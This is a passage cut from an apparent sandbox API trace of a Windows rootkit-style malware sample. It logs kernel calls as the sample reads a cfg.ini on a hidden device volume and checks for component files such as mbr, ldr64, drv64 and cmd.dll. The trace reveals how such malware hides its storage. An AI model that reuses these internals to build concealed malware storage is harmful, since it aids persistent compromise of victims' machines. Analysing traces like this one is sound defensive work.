FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.157] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.157] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.157] KeLeaveCriticalRegion () [0126.157] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.157] KeEnterCriticalRegion () [0126.157] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.157] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.157] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac65e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.157] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.157] KeLeaveCriticalRegion () [0126.157] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.157] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.157] KeEnterCriticalRegion () [0126.157] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.157] ExFreePoolWithTag (P=0xfffffa800388f7a0, Tag=0x0) [0126.157] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.157] KeLeaveCriticalRegion () [0126.157] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.157] ReleaseMutex (hMutex=0xf0) returned 1 [0126.157] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.157] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.157] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.157] KeEnterCriticalRegion () [0126.157] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.157] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.157] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.157] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.157] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.157] IdePortDispatch () returned 0x103 [0126.157] KeWaitForMutexObject () returned 0x0 [0126.158] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.158] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.158] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.158] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.158] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.158] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beeba0 [0126.158] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.158] KeLeaveCriticalRegion () [0126.158] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.158] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.158] KeEnterCriticalRegion () [0126.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.158] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.158] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.158] KeLeaveCriticalRegion () [0126.158] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.158] KeEnterCriticalRegion () [0126.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.158] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.158] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.158] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.158] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.158] IdePortDispatch () returned 0x103 [0126.158] KeWaitForMutexObject () returned 0x0 [0126.158] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.158] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.158] KeLeaveCriticalRegion () [0126.158] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.158] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.158] KeEnterCriticalRegion () [0126.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.159] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c3000 [0126.159] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.159] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.159] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.159] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.159] IdePortDispatch () returned 0x103 [0126.159] KeWaitForMutexObject () returned 0x0 [0126.159] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.159] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.159] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.159] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.159] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.159] IdePortDispatch () returned 0x103 [0126.159] KeWaitForMutexObject () returned 0x0 [0126.159] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.159] KeLeaveCriticalRegion () [0126.159] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.160] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.160] KeEnterCriticalRegion () [0126.160] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.160] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.160] KeLeaveCriticalRegion () [0126.160] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.160] KeEnterCriticalRegion () [0126.160] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.160] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.160] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.160] KeLeaveCriticalRegion () [0126.160] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.160] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.160] KeEnterCriticalRegion () [0126.160] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.160] ExFreePoolWithTag (P=0xfffffa8003beeba0, Tag=0x0) [0126.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.160] KeLeaveCriticalRegion () [0126.160] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.160] ReleaseMutex (hMutex=0xf0) returned 1 [0126.160] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.160] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.160] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.160] KeEnterCriticalRegion () [0126.160] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.160] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.160] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.160] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.160] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.160] IdePortDispatch () returned 0x103 [0126.160] KeWaitForMutexObject () returned 0x0 [0126.160] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.160] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.161] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.161] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.161] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.161] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b79140 [0126.161] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.161] KeLeaveCriticalRegion () [0126.161] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.161] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.161] KeEnterCriticalRegion () [0126.161] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.161] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.161] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.161] KeLeaveCriticalRegion () [0126.161] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.161] KeEnterCriticalRegion () [0126.161] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.161] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.161] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.161] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.161] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.161] IdePortDispatch () returned 0x103 [0126.161] KeWaitForMutexObject () returned 0x0 [0126.161] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.161] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.161] KeLeaveCriticalRegion () [0126.161] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.161] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.161] KeEnterCriticalRegion () [0126.161] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.161] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c4000 [0126.161] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.161] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.161] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.161] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.161] IdePortDispatch () returned 0x103 [0126.162] KeWaitForMutexObject () returned 0x0 [0126.162] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.162] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.162] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.162] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.162] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.162] IdePortDispatch () returned 0x103 [0126.162] KeWaitForMutexObject () returned 0x0 [0126.162] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.162] KeLeaveCriticalRegion () [0126.162] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.162] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.162] KeEnterCriticalRegion () [0126.162] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.162] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.163] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.163] KeLeaveCriticalRegion () [0126.163] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.163] KeEnterCriticalRegion () [0126.163] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.163] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.163] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.163] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.163] KeLeaveCriticalRegion () [0126.163] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.163] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.163] KeEnterCriticalRegion () [0126.163] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.163] ExFreePoolWithTag (P=0xfffffa8003b79140, Tag=0x0) [0126.163] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.163] KeLeaveCriticalRegion () [0126.163] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.163] ReleaseMutex (hMutex=0xf0) returned 1 [0126.163] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.163] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.163] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.163] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.163] KeEnterCriticalRegion () [0126.163] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.163] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.163] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.163] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.163] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.163] IdePortDispatch () returned 0x103 [0126.163] KeWaitForMutexObject () returned 0x0 [0126.163] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.163] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.163] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.163] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.163] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.163] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.164] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.164] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.164] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.164] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.164] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.164] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.164] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.164] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.164] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.164] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.164] KeLeaveCriticalRegion () [0126.164] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.164] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.164] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.164] KeEnterCriticalRegion () [0126.164] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.164] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.164] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.164] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.164] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.164] IdePortDispatch () returned 0x103 [0126.164] KeWaitForMutexObject () returned 0x0 [0126.164] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.164] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.164] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.164] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.164] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.164] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.164] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.164] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.164] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.164] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.164] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.164] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.164] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.164] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.164] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.164] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.164] KeLeaveCriticalRegion () [0126.164] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.165] ReleaseMutex (hMutex=0x100) returned 1 [0126.165] Sleep (dwMilliseconds=0x2bf20) [0126.171] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e6688d0, dwHighDateTime=0x1d24fa4)) [0126.171] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.171] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.171] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.171] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.171] KeEnterCriticalRegion () [0126.171] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.171] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.171] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.171] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.171] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.171] IdePortDispatch () returned 0x103 [0126.171] KeWaitForMutexObject () returned 0x0 [0126.172] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.172] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.172] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.172] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.172] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.172] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beeba0 [0126.172] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.172] KeLeaveCriticalRegion () [0126.172] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.172] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.172] KeEnterCriticalRegion () [0126.172] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.172] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.172] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.172] KeLeaveCriticalRegion () [0126.172] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.172] KeEnterCriticalRegion () [0126.172] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.172] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.172] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, 